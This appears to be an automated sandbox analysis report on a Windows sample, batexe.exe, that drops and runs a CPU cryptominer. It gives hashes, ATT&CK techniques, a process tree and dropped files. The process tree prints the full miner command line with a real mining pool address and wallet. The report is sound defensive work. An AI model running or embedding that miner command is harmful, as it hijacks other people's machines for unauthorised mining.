73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
299s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
19/02/2024, 16:38

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
1888	b2e.exe
1700	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1700	cpuminer-sse2.exe
1700	cpuminer-sse2.exe
1700	cpuminer-sse2.exe
1700	cpuminer-sse2.exe
1700	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1432-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1432 wrote to memory of 1888	1432	batexe.exe	85
PID 1432 wrote to memory of 1888	1432	batexe.exe	85
PID 1432 wrote to memory of 1888	1432	batexe.exe	85
PID 1888 wrote to memory of 4332	1888	b2e.exe	87
PID 1888 wrote to memory of 4332	1888	b2e.exe	87
PID 1888 wrote to memory of 4332	1888	b2e.exe	87
PID 4332 wrote to memory of 1700	4332	cmd.exe	89
PID 4332 wrote to memory of 1700	4332	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1432
- C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1888
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\71D4.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4332
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1700

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe

Filesize
1.7MB

MD5
7b9e19cbeef48d1436f80636d98f1e29

SHA1
211ab3ec2dbf56621bfa6e7b4af51f6d59ed7e22

SHA256
ab3065d4cd6d2916257227617fba70a92bdb7b65f474d9a3b5a7910c6791775d

SHA512
cd561dbc1747d3f5e1a799a1d6f13d71150e273835ecfd1f84b00e742b04a23b41daf83db404ef527c1531f665bd6e74a4fc62bc84759208b958a4803063bdae

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe

Filesize
402KB

MD5
ac60544bfb0183935811464891c4f2ba

SHA1
e08b21f1e2424a62bd0f06ea9fcd6dc339e65d70

SHA256
e80e6279af950a91f8b34c7b1ffb0adeb62935ba08fbf97a1f29d27e04ceef5d

SHA512
d9b1e5f600abcb941ac542b55169060e569097edd51db4b13252665b93a7261d6af580957b1287876333ef034dfe1bf7f4246d373a2c70470d47eb1bd14ccfa4

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F73.tmp\b2e.exe

Filesize
479KB

MD5
79a449f00d3674922fbffa83a1e9fff0

SHA1
d7b24a12b496d6ce9349dcc8c402e9dd44988784

SHA256
60e89746a23cbe728d1e5793d5fb27209530686196bef77cbb9bf5e2bf29b886

SHA512
00ed494b19181739630209d29816ea5094ddadcdf7361a197e0f0ce0f37476b8994183a10b1508968511f5800acd5e8fc3c160221207d6ba76fbb9c45e2dbab0

Download Submit
C:\Users\Admin\AppData\Local\Temp\71D4.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.9MB

MD5
4d9fa13ddcee161e024f7128d9257ae6

SHA1
bbf3e73a9c98eb80f4f42ebf19957a9379a0926b

SHA256
2d7f1e9f4b8d3f55430bcb38efade9c590d93224cd25712bb92ca01a6fedef9d

SHA512
48a51157bdc978e117333ea5252622ced0b3242500d2b5edea4772f422b1809396ceba19750cf3d1d55626a65547a7d99583fc7b4919f10d58c4e0da8c8c3078

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
4a1d9c365771317bf6d898ee88645b40

SHA1
d7f43a1de825a2e448dd7c6f9c811e557e8b2693

SHA256
3f6e2dda231dba2f04f4a263c0d33e1740c1136fe1efa6b061a1b3270f183e8f

SHA512
c5420a8c6ded8117bd7aa8af30d83dcd4345564b7cd29aaba1a17a14fe4e35bc0dd593746a8b179c75049a8b95655a806c437c4a2c6b37b4f80abb55fe8b32a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.1MB

MD5
7335f6b17c853105ea74cc0f5b35ae9a

SHA1
8a2394bd3da854ff5920a4eb797cf5a8d412afa5

SHA256
4d4e8f7e42c890e24305fb74425d3cdaa3c58bec501ca5f0b1de1bd1b885af9e

SHA512
f82a026d81f2210f3f4e63294f5800b4e9a65011e26319457ee1d3361d00640eb07e2ec1bf52ad8e654849fcac16f738edf90e8978ee0780c79895b6536f71f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.1MB

MD5
c4bc68c1f6360f85a950cb7c7a419506

SHA1
50fccf157b029e188d50c30875581dd8240a36a6

SHA256
b4ba292d16777b3be17dcd2623c6911fd0b91e91164b4fce2737792d28c00412

SHA512
0883d3ac7c809ecd5ba495375e41cf6e07eaf263479ffe9eefc35217c036ea891eeef1a32ce0de6e45914649b06ab7ced4cbbefd35c394c7862b5a2a776ef778

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
b90d5a105b063831fed5d88567f5dc5f

SHA1
1a8361f61bb48c73d97fd549f8d775ca3ee427e6

SHA256
d031ff4ddf1963598dc36f1b79990e6b99c3e68576542f568a8603233f4df404

SHA512
2b302387028af9f3e2b915fd04016d3a658b3cd296f78155fea26c00fe42ccf2632498ea00d32b0a2f38112f32915cbe9e76dad7860b63d6b59192edd9feb9a5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.6MB

MD5
e81f97ad2d406d91acbb9653ad6bc713

SHA1
257f3944f6cbd0bc7072fe26372edb5bb46ba35f

SHA256
11d2972bf5df2058949dfa40d482837d46c33aba6ded4655689166fee2c214cf

SHA512
cead3328672d49a786b54d95b67ddaffd41e786e9736319d90bf7ec1e01a84f7ac2cc03b76605333ecc4dd0fbb30f5599663723a7fb1468c423f620b97ba5e6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1432-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1700-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1700-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1700-46-0x0000000065110000-0x00000000651A8000-memory.dmp

Filesize
608KB

Download
memory/1700-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1700-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1700-47-0x0000000001140000-0x00000000029F5000-memory.dmp

Filesize
24.7MB

Download
memory/1700-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1700-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1700-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1700-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1700-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1700-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1700-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1700-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1700-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1888-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1888-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download